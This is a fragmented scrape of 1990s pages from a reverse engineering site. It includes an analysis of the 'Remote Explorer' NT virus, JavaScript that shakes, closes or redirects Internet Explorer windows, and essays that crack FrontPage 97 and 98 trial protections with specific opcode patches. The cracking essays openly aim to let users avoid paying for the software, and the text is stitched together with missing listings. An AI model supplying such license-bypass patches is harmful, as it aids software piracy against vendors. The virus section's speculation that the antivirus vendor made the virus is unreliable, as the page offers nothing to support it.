it takes to download? NT Server costs $200? I think it's a bit more
than that. And you also have to buy client licenses by the seat. The
more workstations you have being served by NT, the greater the cost.
Second answer
I may add that they actually both realized they were answering to a troll, but, interesting enough, it worked
nevertheless... and it was possible to fish out some anti-M$ info allright :-)
Feel free to reverse whatever Micro$oft's target you can put your hands on!
homepage links anonymity +ORC bots wars students' essays academy database
tools counter measures cocktails antismut search_forms javascript wars mail_fravia
Is reverse engineering legal?
WARNING!
(I write the following here because I have a deep respect for trademarks :-)
"Microsoft, MSN, BackOffice (what the cuckoo is that?) and "Where do you want to overbloate today?" are either
"registered trademarks" or "trademarks" or "trade marks" or "trad ema rks" of Microsoft Corporation in
Nagorny-Karaback, Vatican City, the United States and/or other countries"
The "Remote Explorer" virus runs on Micro$oft Windoze NT servers and affects common programs like
Micro$oft Word. It cannot run on Windoze 9x because this virus/trojan runs as a "service", which is only
possible if you are running Windoze NT as your op/sys and because Windows 9x lacks the RPC functions
that allow it to spread to it in the first place. You can nevertheless have a file in win95 that's infected with the
virus but it won't do any damage to your system. Remote Explorer will only affect NT computers.
Users clicking on their Word icon might experience a slight delay, but otherwise would be unable to detect
the presence of the virus; meanwhile, the virus is busy corrupting files and spreading to other programs.
Micro$oft officials say they're "aware of other viruses that have the same characteristics," and Network
Associates says it has developed a Remote Explorer detector and is working on a solution to decode the
affected files.
Virus Characteristics
The most outstanding characteristics is that it can move/transport itself without typical user intervention
(passed on floppy, via email) and replicate like a worm.
It is the first infection program that spreads on either NT Servers, and/or NT Workstations. It does so by
compressing the target executable.
The virus installs itself on a system by creating a copy of itself in the NT Driver directory and calls itself
IE403R.SYS. It also installs itself as a service with the name "Remote Explorer". It also carries a DLL that
supports it in the infecting and encryption process.
If the DLL is deleted it will make another copy.
Remote Explorer spreads by stealing security privileges of the domain administrator, which allows it to
propagate to other Windows systems. Once there it infects files and compresses them in addition to
encrypting data on a random basis.
Windows NT is the primary method for the continued spread of this virus. Other Windows operating systems
can host infected files, but the virus can not spread further on these platforms.
Can infect any EXE and when doing so uses a compression routine to make the file unusable.
It uses an encryption algorithm on data files including TXT and HTML formats. It appears to choose a
directory randomly, and infects files that meets the criteria it has set, and encrypts others that it can't infect.
It is a 125-kilobyte file infector, comprised of approximately 50,000 lines of code. This is an extremely large
and complex virus.
This large virus has been written in Microsoft Visual C++ and is about 125K.
The original virus code occupies about 14K
GZIP routines - 20K
C run-time libraries - 40K
Other data are occupied by virus/C++ data, resources and so on
The virus has quite an unusual structure: the infected files have code and data segments, as well as three
resources that contain compressed executable files.
The first resource contains the standard NT4 PSAPI.DLL that is used by the virus to access processes in the
system memory.
The second resource is the original virus code itself (including the same compressed PSAPI.DLL in the
resource). This copy of virus code is used as the original data to install the virus into the system and to infect
EXE files.
The third resource is the host file that is extracted and decompressed, when the virus needs to run the host
program.
System Registry: while installing its SYS driver to the system the virus uses standard NT API calls. That
cause the system to register the virus drivers in the system registry - the
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Remote Explorer is sowith created.
Temporary files: while compressing/decompressing files the virus needs to create temporary files. It creates
them in the Windows temporary directory with the random names ~xxxdddd.TMP (where 'x' - letters, 'd' -
digits).
It goes Memory Resident. Thus the infected system must be powered down, and scanned from a "clean state"
with a command line scanner (convenient courtesy of NAI itself :-)
Detection and removal are available
The virus has a time routine, which is designed to speed up the search and infection process.
The virus infection, hiding and damage routines do work only in non-working hours: full day on Sunday and
Saturday, only from 21:00 till 6:00 on other days. Otherwise the virus sets lowest priority for itself, and
"sleeps" for long periods of time. So the virus runs its routine in work-hours, but only in case nobody is
accessing the computer for the long time.
Hiding routine is run next to infection routine, and "cleans" virus traces in the system. First of all it looks for
the windows with "TASKMGR.SYS, Application Error" and "Dr.Watson for Windows NT" titles and closes
them if needs be.
So the virus bypasses the error messages caused by its bugs. The virus then checks if its driver "sleeps" for
too long time (more that one hour). In this case the virus kills the service.
The virus also deletes the DRWTSN32.LOG file as well as all "~*" files in the Windows temporary
directory.
NAI conveniently provided a program (late 12/21/98) that will removes it from memory without a reboot,
removes the virus as a service, cleans and repairs the encrypted data files, and all infected executables.
There are now a couple of things that I must add... this whole story has some tracts of a typical urban
legend/scam, made in order to sell NAI products (which are lousy to say the least, btw). Yet some of the
descriptions I found seem to have a solid base.
Let's put some order in all this mess:
first of all the Remote Explorer virus seems to be extremely rare. Likelihood of infection seems to me
therefore very low.
At this time, only one company has been known to have been infected and I couldn't find the virus on any
Internet sites, anti-virus ftps or hacker BBSs (and I know how to search the web)
Es ist sure that McAfee over-hyped the panic for PR purposes. They have always been very good at this.
I don't know if they went so far as to create it themselves (M$ C++? Mmmm... could be)
I doubt that this virus has really escaped 'in the wild', but if it is, and if anyone of my readers gets his hands
on a copy of it, we may try to reverse its code.
I have searched the web -until now in vain- and I'll keep trying.
As soon as I catch or get a copy of Remote Explorer it I'll reverse it.
If anyone out there discovers a file called IE403R.SYS, having a date/time stamp of 12/20/98-1:22:48am
(EDT I believe), and a size of 125,440 bytes, please send me a copy. I'll publish the code as soon as I have
reversed it.
Yet many small things make me believe that this is only a silly McAfee's hype and a marketing trick... have a
look at their disgusting banners at http://www.nai.com/...
The hyperbole that is oozing out of some corporation's marketing and PR wings is getting pretty hard to take,
and I believe we should begin to retaliate... a reason more to disassemble this virus... as you probably know,
each programmer has his 'style' (even in overbloated M$ C++) and it should be possible to understand if
really a 'disgruntled employee' at MCI or some of the guys at NAI has concocted this.
Sounds all pretty fishy from a reverser standpoint, yet some real experts on this field seem to believe that a
limited number of copies may indeed have escaped 'in the wild'.
Now, since NAI is clearly the real culprit of this situation and the only responsible of the possible spreading
of this virus, and since our interest for this kind of virii in the context of our "Micro$oft bashing" campaign
and our reversing capabilities is obvious... our reversing deed would also hit NAI right on their heads...
reversing code and at the same time reversing a marketing department trick... nice deed, wouldn't you say?
Bye bye McAffee... eh?
Resume
The virus is the first native "memory resident" NT infector, so it might look as some super-virus. Actually
the virus was written by some middle-level developer that has access to the NT DeviceDevelopmentKit
documentation. The virus does not hook any NT event, does not use any network protocols, does not try to
access the passwords, and spread its copy over the global network. Moreover, the ordinary DOS parasitic
viruses have the same network spreading abilities like this virus has - they also can infect files on remote
shared drives, stays in the system memory, e.t.c.
This is just a standard parasitic virus, but with NT service infection ability. It is not more complex than some
other already known Windows viruses are, and definitely not more complex than the well-known BO trojan
(BackOrifice) from our CoDC friends...
In conclusion this virus is not a shock at all - it is the long awaited WindowsNT-service virus. Let's catch it
and reverse it!
Remember:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Remote Explorer
Data Fellows Computer Virus Information Pages for RemExp, also known as
Rich, Remote_Explorer, IE403R.SYS, RICHS at
http://www.datafellows.com/v-descs/rich.htm
No M$IE!
Instructions:
Just copy the script you are interested in -with your mouse- and paste it into your own html pages...
FUNDAMENTAL SCRIPT
~
Screw M$ Explorer once for all on any page
(Presented by Carpathia)
RECENT SCRIPT
~
Screw M$ Explorer's 5 windows settings
if(parseInt(navigator.appVersion)>3) {
a=1;
setInterval("Jump()",10);
}
function Jump(){
a=a+.1;
self.moveBy((Math.random()*a*2 -a),(MathRandom()*a*2)-a);
}
FIRST SCRIPT
~
Go to Opera please
SECOND SCRIPT
~
MSIE not allowed
<script language="JavaScript"><!--
var uagent=navigator.userAgent;
THIRD SCRIPT
~
Compulsory New Browser
if (uagent.indexOf("MSIE") == 25)
self.close()
//-->
</script>
<----end Cutting Now------------>
FOURTH SCRIPT
~
Download Opera
<script>
<!-- Hide for old browser
// This script checks for MSIE, if it is detected, an alert is
// issued, and the browser is re-directed. As it is, this script
// will redirect to my Stop Microsoft page. This can be changed
// changing the URL in the location.href line.
var uagent=navigator.userAgent;
if (uagent.indexOf("MSIE") == 25) {
alert("Microsoft's Internet Explorer has been detected.\r\rMSIE is
prohibited from entering this site, and you are being directed elsewhere.\r\rJoin the
Microsoft Boycott, get Opera.");
location.href="http://www.operasoftware.com"
}
Back to Project9
homepage links anonymity +ORC bots wars students' essays academy database
tools counter measures cocktails antismut search_forms javascript wars mail_fravia
Is reverse engineering legal?
Introduction
According to the well known "kill all the competitors" marketing policy, Micro$oft often gives away for free full working
betas of many of its products. The idea behind this strategy is that the users will start using them, will get used to them and
then, once the betas have expired, will buy the commercial releases. How can we call this? To me it looks like "software
pushing"! So, if you want to enjoy (enjoy?!?) this betas for a time longer than that guys at Micro$oft planned for you, just keep
reading...
Purchase me!
I found FrontPage 97 beta on one of that CDs that often come with computer magazines so I think you won't have any
difficulties in getting it too. Since the application was expected to expire on February 1997, I assume that at this time this
version has already expired so, once you have started FrontPage, it will pop-up and show you a message box (if it doesn't,
advance your clock!) saying "Your copy of Microsoft FrontPage 97 beta has expired. Please visit your local re seller to
purchase [this is the "magic" word!] a copy of Microsoft FrontPage 97 or ..." etc. Ok, before we all go and buy it 8-), let's see
how we can get a little more along with it...
Hands on
At this point you need to look for the two files FPEXPLOR.EXE and FPEDITOR.EXE. You will find them in the bin directory
under the FrontPage main folder. Two EXEs, same protection scheme: "cinderella" like. For this reason in this essay we will
concentrate on FPEXPLOR.EXE and leave FPEDITOR.EXE as an exercise. Ok, let's go! First of all we will take a look at the
"dead" listing (WDasm 8.9 will do). Load it in your favorite text editor and search for the word "expired" (from the nasty
dialog): you'll land straight into the following piece of code:
__________________________________________________________________________
|
:00455CD8 E83D110200 Call 00476E1A
:00455CDD C645FC09 mov [ebp-04], 09
:00455CE1 8D4DEC lea ecx, dword ptr [ebp-14]
* Possible Reference to String Resource ID=02102: "Your copy of the %1 beta has
expired."
|
:00455CF5 6836080000 push 00000836
:00455CFA 50 push eax
__________________________________________________________________________
The red <--- shows a call to a MFC40.DLL function. What is it? We will come back to it after a little theory...
Understanding MFC
For a good comprehension of this section you need some knowledge of object oriented programming and of C++ in particular.
If you don't have such a knowledge you can jump directly to the next section (but you should seriously think of learning
something about these topics).
Nowadays there are many tools around that let you write a Windows application on the fly (like VB), but real programmers
always use C language. As you probably know, Windows has kept growing and so this means dealing with hundreds and
hundreds of API functions! Since this would be a challenging task even for the most experienced programmers, often the
developers prefer using what is called a "framework" (like MFC [Micro$oft Foundation Classes] by Micro$oft or OWL
[Object Windows Library] by Borland). It consists of many structured C++ classes that encapsulate almost all the APIs. They
also offer a "ready to run" application with just few calls: what the programmer has to do is to "fill-up" the blanks and give
his/her application a particular "look and feel" or behavior.
Though from a developer point of view using frameworks makes things easier, from our point of view this means we have one
more shell around our beloved API calls. So, sometimes, we will have to break the shell and go into the framework function
just to see what they do and which original WIN32 API they call. Usually a framework function has the same name of the
corresponding API it encapsulates but takes less parameters. Often the missing parameter is the first one of the corresponding
API. Why? Remember that the framework is nothing but an hierarchy of C++ classes. For example, you can have a class
corresponding to a physical window or a class corresponding to the current display context (DC). When the class is initialized
it is "associated" with a physical window or a DC, meaning that now the class "is" the window or "is" the DC. Being like this,
the class itself takes care of "remembering" the window handle or the display context handle and you don't need to pass these
parameters any more to the functions you call (that in fact are method of the class).
Let's make an example with the call to the MessageBox function. Within the standard Win32 API the function has the
following syntax:
int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
While inside MFC it has the following syntax (it's a member of the CWnd class, a class that encapsulate a generic window):
int MessageBox( LPCTSTR lpszText, LPCTSTR lpszCaption = NULL, UINT nType = MB_OK );
They look pretty similar. In fact, a call the MFC version of MessageBox is resolved inside the framework into a call to WIN32
version of MessageBox. On the other hand they are different: the MFC version lacks of the first parameter, a handle to a
window. This is because being it a method of the CWnd class it already "knows" the handle of the window the class is
associated with. Look at the following scheme:
__________________________________________________________________________
__________________________________________________________________________
As you can see, especially when dealing with Micro$oft Windows, asm is not "all you have to know" for an effective
cracking/reverse-engineering.
Back to work
After the excursus on MFC let's go back to work. We were dealing with that call to an "un-named" MFC40 function. How can
we know what it does and what happens inside it? The easy way is to use the "live" approach and trace the application with
Sice (remember to load MFC40.DLL as an export before running it). Put a bpx on MessageBoxExA and run FrontPage. Sice
will pop up inside the MessageBoxExA call. Now step out from the API routines until you get back to FPEXPLOR.EXE. You
should land exactly on the call above. As you can see, it was a call to a MessageBox like function in MFC. Another way to
reach the same conclusion is to use a little zen.
Look at the code above: you see that many different strings are being loaded. Some of them contains what looks like a
parameter (%1). We know from the nasty dialog the program pops-up that the string "Microsoft FrontPage 97" is substituted to
these parameters so to build the final string that is displayed. So most of the calls we see in the code above have to be "string
formatting" calls. Well, if there is a call to a message box function it has to come after this calls because it needs an already
formatted string. So far so good. What else? Well, having learnt something about MFC (refer to the section Understanding
MFC) we know that the message box displaying function has to take 3 parameters. Ok, let's summarize what we know up to
now:
we have to look somewhere after all the calls to the string formatting functions
Is there something more we know? The answer is... yes, of course! Look carefully at the nasty dialog. What can you notice? I
give you hint: just looking at the dialog and considering what you already know it's possible to determine the values of at least
one more parameter of the call to the message box function (we already know what the displayed text should be)... you have 5
minutes to think about it, then read on.
Found anything? I think you did but if you didn't don't worry, you'll do better the next time.
Here is the answer: since the dialog shows just the OK button the last parameter, the one that controls the style of the dialog,
has to be MB_OK that is 0. Pretty easy. Ok, so we know that we have to look for a function that takes three parameters and we
know the value of two out of three parameters. Look at the code above. Got it? Well, it's exactly the call signed with the red
<---. That is the call the the MessageBox function, right?
No, WRONG!
Ok, don't trash this essay, let me explain! Cracking is like doing research: you proceed according to some hypothesis you
made. But, as soon as your findings do not confirm these assumptions you HAVE to change them. It sounds like a defeat but
sometimes you have to step back. This is the way we learn: by trials and errors (Konrad Lorenz wrote beautiful pages about
this topic).
So, what's wrong with the function we have found? In fact nothing but is just a matter of calling things with their own name.
Look at the parameters description of CWnd::MessageBox (from MFC documentation):
__________________________________________________________________________
Parameters
lpszText Points to a CString object or null-terminated string
containing the message to be displayed.
lpszCaption Points to a CString object or null-terminated string to be
used for the message-box caption.
If lpszCaption is NULL, the default caption Error is used.
nType Specifies the contents and behavior of the message box.
__________________________________________________________________________
According to the calling stack sequence the function we have recognized should get its the parameters like this:
So, according to the documentation the dialog caption should have been "Error" since lpszCaption = NULL. In fact the caption
of the nasty dialog shows the application name so it can't be that function. What's wrong? Look back at the nasty dialog, what
is the caption? It shows the application name... here is the hint: the application name! We have to look for a MFC function that
displays a dialog box but with a different behavior than CWnd::MessageBox.
Probably the ones among you that know something about MFC programming have already recognized it. Look at the
following function definition (from MFC documentation):
_____________________________________________________________________
int AFXAPI AfxMessageBox( UINT nIDPrompt, UINT nType = MB_OK, UINT nIDHelp =
(UINT) 1 );
...
Parameters
lpszText Points to a CString object or null-terminated string containing
the message to be displayed in the message box.
nType The style of the message box. Apply any of the message-box styles
to the box.
nIDHelp The Help-context ID for the message; 0 indicates no Help context.
nIDPrompt A unique ID used to reference a string in the string table.
Remarks
Displays a message box on the screen...
__________________________________________________________________________
The function we are interested in is the first one of the two. This is a widely used function in MFC programming because it
displays an "application" message box. The message box has the name of the application as caption and usually behaves as a
modal dialog. This is exactly what our nasty dialog does. Now the two NULL parameters make sense: OK button and no help
available (as in fact is). But there is more. Look at the sentence I have colored in red. What are these two text formatting
functions? Let's take a look (from MFC documentation):
__________________________________________________________________________
Parameters
rString A reference to a CString object that will contain the resultant
string after the substitution is performed.
nIDS The resource ID of the template string on which the substitution
will be performed.
lpsz1 A string that will replace the format characters %1 in the
template string.
Remarks
Loads the specified string resource and substitutes the characters %1 for
the string pointed to by lpsz1. The newly formed string is stored in rString.
For example, if the string in the string table is File %1 not found, and
lpsz1 is equal to C:\MYFILE.TXT, then rString will contain the string
File C:\MYFILE.TXT not found. This function is useful for formatting strings
sent to message boxes and other windows.
If the format characters %1 appear in the string more than once, multiple
substitutions will be made.
__________________________________________________________________________
Bingo! Doesn't it look familiar? That %1 in particular, acting as a parameter... where did we meet it before? It's right there in
the code!
Ok, we have all the pieces now. Let's put them together. So, the message box displaying function is in fact AfxMessageBox
(first version) and all the previous calls are should refer to AfxFormatString1 or AfxFormatString2 (we could understand
exactly which one of the two just looking at the passed parameters but we don't care here). Very good!
A good question!
You are probably wondering: so what? This long talk for such a little finding? And how can this help in the "cinderella"
protection cracking? Well, the answer is: it doesn't help directly. Or at least it helps just a little. But I think that if you have
read the part above carefully you now know a lot about MFC applications. And, believe me, this information will be really
useful in your future crackings, don't you think so? One thing is dealing with calls of functions you know the name of (and on
which you have plenty of documentation). Another thing is dealing with completely anonymous functions. look back at what
we did: we dealt with completely anonymous functions and found a lot about them! Was it worth it? The answer is up to you.
Ok, now is time to go back to our main point: defeating the "cinderella" protection. What we usually do with this kind of
protection once we have found the point where the nasty dialog is displayed? We look at the code that precedes that massage
box displaying, searching for a time comparison. If we are lucky we will find a GetLocalTime call whose return value (the
current date and time)is compared to another one (the installation date) read, for example, from the Registry or from an hidden
file. The trick is too look for something "date related". Here is the only "date related" function we see in the code that precedes
the previous one:
__________________________________________________________________________
Looks like a good starting point. Let's look to its definition (from WIN32 API reference):
__________________________________________________________________________
int GetDateFormat(
LCID Locale, // locale for which date is to be formatted
DWORD dwFlags, // flags specifying function options
CONST SYSTEMTIME *lpDate, // date to be formatted
LPCTSTR lpFormat, // date format string
LPTSTR lpDateStr, // buffer for storing formatted string
int cchDate // size of buffer
);
__________________________________________________________________________
There it is! If it takes a date (pointer to a SYSTEMTIME structure) as a parameter this means that somewhere before this call
the date is read. But where? The date is the 3rd parameter and must be a pointer (the address of a memory location).
Remember that the parameters are pushed on the stack in reverse order. Now from the call to GetDateFormat count three
pushes up. We find push ecx. Two rows before there is a lea ecx, dword ptr [ebp-2C]. So the date is stored in [ebp-2C]. Good
to know. Keep going back along the code an look for the any occurrence of [ebp-2C]. You will find the following code
snippet:
__________________________________________________________________________
Now look at the second occurrence of [ebp-2C]. All those mov word ptr [ebp-xx] look like a structure initialization to me. If
the SYSTEMTIME structure starts from ebp-2C (remember that local variables "goes" back in memory when referenced to
through ebp) then such a code would make sense only if si = 0. So this is not the structure where the current time is stored
when read but is just a working structure. In fact this code leads straight to the one that shows a dialog saying "This beta copy
of Microsoft FrontPage 97 will expire on [exp. date]". Look at the code above. Can you see it? Well, at this point we are lost.
Where is our time?
As we saw for the first occurrence of [ebp-2C] the expiration year is copied into [ebp-2C] (after being added 1900) from a
location that is eax related ([eax+14]). So let's look for the eax related instructions before that point. We find an interesting test
eax, eax (in green) instruction followed by a conditional jump je 00455BC4. Let's see where this jump leads:
__________________________________________________________________________
Pretty easy job. It's test eax, eax. The conditional jump after it takes straight to the "Your copy has expired" section. There is
another testing after it regarding edi. Can be a test on the "bad lamer" condition? Notice also that both the testing sections are
preceded by a call to them same function with the same parameter passed to it. Let's look at that code again:
__________________________________________________________________________
__________________________________________________________________________
Same calling sequence, same calling scheme but the pushed parameter eax is different in the two calls. At this point we should
probably take a look at the two called functions:
__________________________________________________________________________
and
__________________________________________________________________________
So the first one is a kind of swapping function. The second one is a kind of boolean comparison function. It compares two
quantities, one passed as a parameter on the stack and the other pointed by ecx and returns 1 if the first one is less than the
second one, otherwise it returns 0. edi, that is tested after eax in the caller function, is not involved here so it must have been
set somewhere before these calls (in fact there is mov edi,eax up there).
Can these test eax, eax and the subsequent conditional calls the instructions that make the "cinderella" protection to snap? If it's
so, let's see how it works: the first conditional jump is executed because we see the "Your copy has expired" dialog, thus eax or
edi have to be zero upon the return from call 00455DF0. Can this mean "Your copy has expired"? There only on way to know
it at this point. We don't want the code to jump to the "Your copy has expired" dialog so we can change the jumping condition
and see what happens.
Patch it!
First of all let's make a backup copy of the exe file (just in case). Then let's run our favorite hex editor and look for:
Once more
We get another nasty dialog, but this time is the one that says "This copy will expire..." Obviously the "cinderella" protection
has snapped again because of the second test eax, eax. This is because the condition was false (eax =/= 0) and thus the
conditional jump je 00455BC4 to the "good boy" part of the code hasn't been executed. So let's patch this too as usual:
reversing the jumping condition. Look for:
CONGRATULATIONS!
You cracked it! No more nasty dialogs, no more "cinderella" protection. Well, after all it was just a 3 byte crack... Anyway,
don't forget your homework! [I'll give you one hint: learn from your (very recent) experience...]
Conclusion
We are at the end of this (rather long essay) and we cracked the time protection using our brain and with a little luck too. But
there is one more question? Who cares - you are probably thinking - we cracked it and that's it! Well, just for the sake of
knowledge did you wonder where the call to the "GetLocalTime" like function is? Well, it must be somewhere in code that
precedes the test eax, eax but where? The answer is that it hides inside this call:
__________________________________________________________________________
__________________________________________________________________________
It's just few line before the test eax, eax and it involves the parameter [ebp+FFFFFF64], the same that you can see in the calls
to the "comparison" function (call 00455DF0). How do I know? Well, if you trace into this call with Sice you will see that
there is a call to the time function (it's part of the Micro$oft Visual C++ run time library). This function, in turn, calls
GetLocalTime. There it is! It's hidden inside a double shell. Now that you know where the call to the "get time" function hides,
you can try to properly decipher the code that follows it. Let me know if you find something interesting!
That's it! I really hope you enjoyed this essay as much as I did writing it (and cracking FrontPage 97 beta). Few final words: I
wish to thank +ORC for his great tutorial and essays, Fravia+ for his great WEB site (and his lessons on searching the net) and
all the +HCUkers who have contributed to +HCU and will keep doing it. Good cracking to everybody!
ViceVersa+
August, 8th 1997
(c) ViceVersa 1997. All rights reserved
You are deep inside fravia's page of reverse engineering, choose your way out:
Well, Epic Lord has worked 'in a hurry', but his crack is nevertheless quite effective and interesting... so Micro$oft is now
writing "scarecrow" phrases like "This copy of Microsoft FrontPage has been modified in a way which is in violation of the
license aggreement"... poor sods! And some antiwinice tricks as well... mmm, we'll have to keep half-awake to drefeat M$
protections in the future :-)
The product is really overbloated; it spans more than 80 folders and 950
files. In the BIN folder alone there are more than 30 files.
Let's begin.
Well there are 22 .dll files in the BIN folder. A couple more are in the
SYSTEM directory.
Lets get tougher :=)
I searched the files to find the word "expired" and couldn't get
anything at all (DUH).
Ok ok. I cheated. I could not feel the multibyte problem at the beginning
so I did start Softice and checked what actually was going on.
This approach let me suspect the file "fp30cutl.dll".
Do what I say, not what I did.
BTW try softice.
You will not find anything. The "Expiry" dialog box will pop and in spite of
all the debugging capability you have, none of the breakpoints will
activate.
Fravia+ is right. They are getting tougher.
I studied the code and found no CRC, nor any similar checking.
It was because of comparing fixed memory locations.
However, it's getting late 05:30 in the morning, the cracking session
was heavy... sorry for the short climax, but that's all, the rest you'll
understand yourselves...
I will not dwelve into the details of date checking and other comparisons
(put 1990 in EAX, add 7 find 1997 etc) let's crack it stright on.
Patching the values of BX in order to get some correct flags after the
comparison makes you Micro$oft_guilty.
Ok. Thats all folks. I'm fast ha? :=). BTW, with this patch, all other
components will run smoothly.
You are deep inside fravia's page of reverse engineering, choose your way out:
project 9
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?
by SiuL Hacky
Well, this is actually not a crack, nor a reverse engineering exercise... it's more an INVITATION to a crack and
to a very interesting reverse engineering exercise that we all ought to perform... Micro$oft (and many others)
are indeed more and more heavily monitoring, all our software and hardware activities (all human activities if
we follow master +ORC's slaves of the supermarket essay). Let's strike back, and hard, through our sublime
reverse engineering knowledges... AT WORK! This will be a full-fledged +HCU 1998 project: WHAT ARE
THEY GATHERING WITHOUT ASKING US? (Orwell's world? Just say no :-)
programa de instalacisn.
... it is
- Make sure you are connected to Internet before starting the installation
program.
Of course, in some other instructions for the installation you are told
not to interrupt the installation process, otherwise you may not recover
all the information previous to the installation.
Wow, we must trust Microsoft goodwill.
What happens actually during the installation process? Who knows?
I didn't check it out, but remember WINDOWS 95 REGISTRATION WIZZARD
(aka "online registration"):
This background process dores not look for "statistical information", like
a kind of software poll, it does search for 100 specific applications from
Microsoft and its competitors (included our beloved Microsoft Money,
and its Payment BILLS :-). Come on, look and find if w95 warned you about
this activity.
As Schulman points out, the key of this action is that Microsoft uses
again his privileged position (selling its platforms) against
its own clients, which are competitors in the software applications
market; and this in an almost (if not completely) illegal way.
Just like the old soup of the "undocumented functions" that +orc warned us
about.
Read the rest of the article, it's a good essay. We could entitle it
as: "Registration wizard reverse engineer, the dirty details".
That's what Microsoft does when it has free-way to communicate with "the
head office". So trust them.
"This online registration is specially appropriate to upgrade Ms.
Office", and such preposterous (and false) things you could read.
I repeat it was in 1995, so imagine what Int. Explorer can do with the
Internet link. But Int. Explorer is just a front-end for the new Microsoft
projects.
You'll see that the vicious aspect of doing things without asking, or,
better formulated, to do things that "normal stupid user" cannot and will
not understand nor investigate, does not stop here.
Do you know that when installing Office 97 (just a couple of megabytes :-)
the w95 kernel is modified ? Imagine: hundreds and hundreds of new
undocumented functions added without noticing you about this...
So, what are the new trends ? Well there is not so much information
about Microsoft's new spaghetti-code generators (full of new
technologies like ActivePollaX :-), but this is the information I
could pick up:
* The new version of w95, released next year like "Memphis", "win98" or
whatever (who cares) will be offered as an upgrade of Windows 95. Je, je.
* Are they going to allow the upgrade to the millions of copies not
registered (with "online registration" :-DD)? Probably yes, they need
to spread the new product.
* If Internet operations are given to this OS, what is gonna happen with
our anonymity ? I don't know my dear Watson.
Now you can imagine which future +hcu projects we need :=).
final release.
This is the story: go to Microsoft site where you'll be able to find a
section called "Update Manager" or something ... and then you download
the upgrades, the drivers, and what else ... ?
* The version runs on a i386, YES YOU ARE NOT DREAMING. Bill you're a
genius.
The race has just started, and we have to fight against Bill's horses.
You +hcukers, you readers from the deep deep net, contact us if you have
any answer to these questions or something interesting on the subject.
Knowledge is always the key, and a pretty powerful one for that matter!
Before ending you must know that Microsoft, being consistent with its
staff, control the software they use, checking if it is from the
company. Run away horses!
You are deep inside fravia's page of reverse engineering, choose your way out:
Project 9
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?
Well, another outstanding essay from +Sync! There is a lot of code, here, but everything is clear and you just need to peruse
this essay slowly, tasting quietly Micro$oft's stupidity... gee! I love this section as much as +Sync does!
By +Sync
Well, I saw this and I had to jump on it. I can't say how happy
I am to be contributing to the destruction of Micro$oft. They are offering
FrontPage 98 for download on their website.
If you would rather go straight to downloading and skip registering yourself
with Micro$oft then go to:
http://www.microsoft.com/frontpage/download/pick_default.htm
You'll notice very quickly that it is over 20 MB in size.
We are beginning to expect this sort of thing from them.
This crack is very straightforward.
I offer this crack simply so that nobody out there pays a dime to Micro$oft to
use this program, they have enough already. I did not tear out the insides of
the protection, as it was not necessary.
Here is how I did it.
First run the program as usual and see how it behaves. Next set your
system date ahead past the end of the evaluation period. You'll get a
nasty screen telling you that you are out of the evalutation period and that
they would be happy to give you the location of the nearest reseller of the
full version. Then it kicks you out.
Okay, so set your system date back and run again, it still says you're a bad guy.
So it saves the fact that your eval period is over somewhere, probably in the
registry.
At this point I fully intended to trace the registry calls and figure out what
this target was doing there, but it turned out to be unnecessary.
I followed the BMSG approach outlined in +Orc's Lesson 9, with WinIce.
I quickly discovered that the nag window is opened by FP30CUTIL.DLL which is found
in the /BIN directory.
So next, I break out WDASM 8.9 and search for 'expired'.
Bingo, found along with all the rest of the text from the nag window.
Look up from here in the dead listing, and you'll find a conditional jmp, at
67B2CEC9,
which is referenced in two places, 67B2CD1F and 67B2CD28.
So let's look at that code, it's shown below.
Note that the references to 'Expired_FLag' refer to some indicator that you
are beyond your eval period unrelated to the sytem date (but probably in the
registry).
* Reference "If you would like to find out about resellers in your area, "
|
:67B2CE69 6837080000 push 00000837
:67B2CE6E 8D4DF8 lea ecx, dword ptr [ebp-08]
:67B2CE71 E8F8210100 call 67B3F06E ;->fp30cutl.ExpFn0251()
:67B2CE76 8D45E0 lea eax, dword ptr [ebp-20]
:67B2CE79 6A01 push 00000001
:67B2CE7B 50 push eax
:67B2CE7C 8D8564FFFFFF lea eax, dword ptr [ebp+FFFFFF64]
:67B2CE82 FF75F8 push [ebp-08]
:67B2CE85 8975E0 mov dword ptr [ebp-20], esi
:67B2CE88 50 push eax
:67B2CE89 E800420200 Call 67B5108E ;->MFC42:NoName0195
:67B2CE8E 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CE94 E814C90100 call 67B497AD
:67B2CE99 8D4DF8 lea ecx, dword ptr [ebp-08]
:67B2CE9C E8C73D0200 Call 67B50C68 ;->MFC42:NoName0015
:67B2CEA1 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0]
:67B2CEA7 E868010000 call 67B2D014
:67B2CEAC 8D4DF4 lea ecx, dword ptr [ebp-0C]
:67B2CEAF E8B43D0200 Call 67B50C68 ;->MFC42:NoName0015
Of course there are a million ways you could have patched it, I just
prefer to patch only 1 place in possible.
But this is very nice. Micro$oft was kind enough to put the check into a dll,
so all three executables will run perfectly, now and for forever, and we did not
need to fish out the insides of many of the calls to do it.
That's it, quick and dirty.
Enjoy, and Crack Micro$oft to the bones.
Well, we obviously don't want this call to be made. Looking up, we see
it is referenced by jumps at 3 locations.
So let's fix those three spots so that they do not jump here.
Location 1
Location 2
:00416A45 E89B000000 call 00416AE5
:00416A4A 85C0 test eax, eax
:00416A4C 0F855F430300 jne 0044ADB1
Location 3
:00416A55 0F8D56430300 jnl 0044ADB1
Location 1
Change:
:00416A2E 0F857D430300 jne 0044ADB1
To: 404040484848 inc ax ,inc ax, inc ax, dec ax, dec ax,dec ax
Location 2
Change:
:00416A4C 0F855F430300 jne 0044ADB1
To: 404040484848 same as location 1
Location 3
Change:
:00416A55 0F8D56430300 jnl 0044ADB1
To: 404040484848 same as above
Okay, now run it. You get a nag telling you you have 1 day left of
evaluation.
Well, the program is cracked, but we don't like the nag. Do the same as
above, BMSG on the window handle and P RET back to IMGCOMP code.
You end up at 44AD82 shown below.
Change:
:00416A68 E878000000 call 00416AE5
:00416A6D 85C0 test eax, eax
:00416A6F 0F858D420300 jne 0044AD02
To:
:00416A68 E878000000 call 00416AE5
:00416A6D 85C0 test eax, eax
:00416A6F 404040484848 3 inc eax + 3 dec eax
+Sync
(c) +Sync 1997. All rights reserved
